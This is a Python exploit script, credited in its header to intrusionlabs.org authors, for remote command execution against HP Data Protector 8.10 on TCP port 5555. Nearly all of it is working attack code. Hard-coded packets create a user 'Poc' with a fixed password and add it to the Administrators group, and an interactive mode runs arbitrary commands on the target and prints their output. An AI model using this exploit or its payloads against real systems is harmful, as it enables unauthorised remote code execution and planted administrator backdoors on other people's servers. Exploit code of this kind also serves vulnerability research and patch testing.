#!/usr/bin/python
 
# Exploit Title: HP-Data-Protector-8.10 Remote command execution.
# Date: July 11 2014
# Exploit Author: Christian (Polunchis) Ramirez https://intrusionlabs.org
# Exploit Author: Henoch (Chanoc) Barrera       https://intrusionlabs.org
# Contacts: polunchis@intrusionlabs.org and chanoc@intrusionlabs.org
# Version: HP Data Protector manager 8.10 the last version
# Vendor web page: http://www8.hp.com/mx/es/software-solutions/software.html?compURI=1175640#.U8DhWaU_BjF
# Tested on: Windows 2003, Windows 2008 and Windows 2012 all languages 
# Thanks:To GOD for giving us wisdom      
# Description: 
# A remote command execution is triggered when craft command is sent to the Hp Data Protector Manager to tcp port 5555.

import socket
import struct
import sys

#net user Poc l@bs.og /add
shellusr = ("\x00\x00\x01\x3c\xff\xfe\x32\x00\x00\x00\x20\x00\x68\x00\x70\x00"
"\x64\x00\x70\x00\x31\x00\x00\x00\x20\x00\x30\x00\x00\x00\x20\x00"
"\x00\x00\x20\x00\x00\x00\x20\x00\x45\x00\x4e\x00\x55\x00\x00\x00"
"\x20\x00\x31\x00\x31\x00\x00\x00\x20\x00\x45\x00\x58\x00\x45\x00"
"\x43\x00\x5f\x00\x42\x00\x41\x00\x52\x00\x00\x00\x20\x00\x41\x00"
"\x41\x00\x41\x00\x41\x00\x00\x00\x20\x00\x41\x00\x41\x00\x41\x00"
"\x41\x00\x00\x00\x20\x00\x41\x00\x41\x00\x41\x00\x41\x00\x00\x00"
"\x20\x00\x41\x00\x41\x00\x41\x00\x41\x00\x00\x00\x20\x00\x41\x00"
"\x41\x00\x41\x00\x41\x00\x00\x00\x20\x00\x41\x00\x41\x00\x41\x00"
"\x41\x00\x00\x00\x20\x00\x41\x00\x41\x00\x41\x00\x41\x00\x00\x00"
"\x20\x00\x41\x00\x41\x00\x41\x00\x41\x00\x00\x00\x20\x00\x41\x00"
"\x41\x00\x41\x00\x41\x00\x00\x00\x20\x00\x41\x00\x41\x00\x41\x00"
"\x41\x00\x00\x00\x20\x00\x63\x00\x3a\x00\x5c\x00\x77\x00\x69\x00"
"\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x5c\x00\x73\x00\x79\x00"
"\x73\x00\x74\x00\x65\x00\x6d\x00\x33\x00\x32\x00\x5c\x00\x63\x00"
"\x6d\x00\x64\x00\x2e\x00\x65\x00\x78\x00\x65\x00\x00\x00\x20\x00"
"\x00\x00\x20\x00\x2f\x00\x63\x00\x20\x00\x6e\x00\x65\x00\x74\x00"
"\x20\x00\x75\x00\x73\x00\x65\x00\x72\x00\x20\x00\x50\x00\x6f\x00"
"\x63\x00\x20\x00\x6c\x00\x40\x00\x62\x00\x73\x00\x2e\x00\x6f\x00"
"\x67\x00\x20\x00\x2f\x00\x61\x00\x64\x00\x64\x00\x00\x00\x00\x00")

#net user local group Administrators Poc /add
shellgrp = ("\x00\x00\x01\x56\xff\xfe\x32\x00\x00\x00\x20\x00\x68\x00\x70\x00"
"\x64\x00\x70\x00\x31\x00\x00\x00\x20\x00\x30\x00\x00\x00\x20\x00"
"\x00\x00\x20\x00\x00\x00\x20\x00\x45\x00\x4e\x00\x55\x00\x00\x00"
"\x20\x00\x31\x00\x31\x00\x00\x00\x20\x00\x45\x00\x58\x00\x45\x00"
"\x43\x00\x5f\x00\x42\x00\x41\x00\x52\x00\x00\x00\x20\x00\x41\x00"
"\x41\x00\x41\x00\x41\x00\x00\x00\x20\x00\x41\x00\x41\x00\x41\x00"
"\x41\x00\x00\x00\x20\x00\x41\x00\x41\x00\x41\x00\x41\x00\x00\x00"
"\x20\x00\x41\x00\x41\x00\x41\x00\x41\x00\x00\x00\x20\x00\x41\x00"
"\x41\x00\x41\x00\x41\x00\x00\x00\x20\x00\x41\x00\x41\x00\x41\x00"
"\x41\x00\x00\x00\x20\x00\x41\x00\x41\x00\x41\x00\x41\x00\x00\x00"
"\x20\x00\x41\x00\x41\x00\x41\x00\x41\x00\x00\x00\x20\x00\x41\x00"
"\x41\x00\x41\x00\x41\x00\x00\x00\x20\x00\x41\x00\x41\x00\x41\x00"
"\x41\x00\x00\x00\x20\x00\x63\x00\x3a\x00\x5c\x00\x77\x00\x69\x00"
"\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x5c\x00\x73\x00\x79\x00"
"\x73\x00\x74\x00\x65\x00\x6d\x00\x33\x00\x32\x00\x5c\x00\x63\x00"
"\x6d\x00\x64\x00\x2e\x00\x65\x00\x78\x00\x65\x00\x00\x00\x20\x00"
"\x00\x00\x20\x00\x2f\x00\x63\x00\x20\x00\x6e\x00\x65\x00\x74\x00"
"\x20\x00\x6c\x00\x6f\x00\x63\x00\x61\x00\x6c\x00\x67\x00\x72\x00"
"\x6f\x00\x75\x00\x70\x00\x20\x00\x41\x00\x64\x00\x6d\x00\x69\x00"
"\x6e\x00\x69\x00\x73\x00\x74\x00\x72\x00\x61\x00\x74\x00\x6f\x00"
"\x72\x00\x73\x00\x20\x00\x50\x00\x6f\x00\x63\x00\x20\x00\x2f\x00"
"\x61\x00\x64\x00\x64\x00\x00\x00\x00\x00")

def connect_target(target, port):
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    except socket.error as err:
        print
        "[-]Close Socket! CODE: %d MSG: %s" % (err[0], err[1])
        return -1

    try:
        sock.connect((target, port))
    except socket.error as err:
        print
        "[-] It cannot connect to the target! CODE: %d MSG: %s" % (err[0], err[1])
        return -1
    return sock

def send_recv_packet(sock, packet):
    sock.sendall(packet)
    res = sock.recv(4096)
    return res
print """
[*] https://intrusionlabs.org 
"""
print "[*] Choose a valid option"
print """
[1] Run remote commands 
[2] Add Poc user to Administrators group with password l@bs.og
"""
opcion= raw_input("Choose an option i.e.  1 or 2:  ")
if opcion.isdigit():
      opcion = int(opcion)

if opcion == 1:
 ip_remota= raw_input("IP Address: ")
 port= raw_input("Port: ")
 command= raw_input("command: ")
 if port.isdigit():
   port = int(port)
 else:
     print "Please provide a tcp port"

 objetivo = connect_target(ip_remota, port)
 if objetivo == -1: exit()
    
 OFFSET = 46
 command = command.replace("\\", "\\\\")
 command_tmno = chr(OFFSET + len(command))
 shell = "\x00\x00\x00"   +\
     command_tmno         +\
     "\x32\x00\x01"       +\
     "\x01\x01\x01"       +\
     "\x01\x01\x00"       +\
     "\x01\x00\x01"       +\
     "\x00\x01\x00"       +\
     "\x01\x01\x00"       +\
     "\x2028\x00"         +\
     "\\\x70\x65\x72"     +\
     "\x6c\x2e\x65\x78"   +\
     "\x65\x00 \x2d\x65"  +\
     "\x73\x79\x73\x74\x65\x6d" +\
     "('%s')\x00" % command
 print >> sys.stderr, "[+] Sending the payload with the command: '%s'" % command
 datos = send_recv_packet(objetivo, shell)  # Parse the response back
 print >> sys.stderr, "[+] Output:"
 while True:
        # Get information about response
        tmno_respuesta = objetivo.recv(4)
        if not tmno_respuesta: break
        n = struct.unpack(">I", tmno_respuesta)[0]
        respuesta = objetivo.recv(n)
        respuesta = respuesta[5:].strip()
        respuesta = respuesta.replace("\n", "")
        respuesta = respuesta.replace("\x00", "")
        if respuesta.upper().find("*RETVAL*") != -1:
            break
        print respuesta
   
 objetivo.close()
 print >> sys.stderr, "print [!] Port close...\r"

elif opcion == 2:
 ip_remota= raw_input("IP Address: ")
 port= raw_input("\nPort: ")
 if port.isdigit():
   port = int(port)
 else:
     print "Please provide a tcp port"

 print
 "\n [*]Creating P0c user and try to add it to Administrators group"

 #Get information about response
 print "\n[*]Attempting to create Poc user and try to add it to Administrators group with password l@bs.og"
 for packet in [shellusr, shellgrp]:
     target = connect_target(ip_remota, port)
     if target == -1: exit()
     data = send_recv_packet(target, packet)
     print "[*]SERVER RESPONSE: " + \
     data.split("\xFF\xFE\x31\x00\x35\x00\x00\x00\x20\x00")[1].lstrip("\x07\x00\x01\x00").rstrip("$")
     target.close()

else: print "Please provide a valid option i.e. 1 or 2"


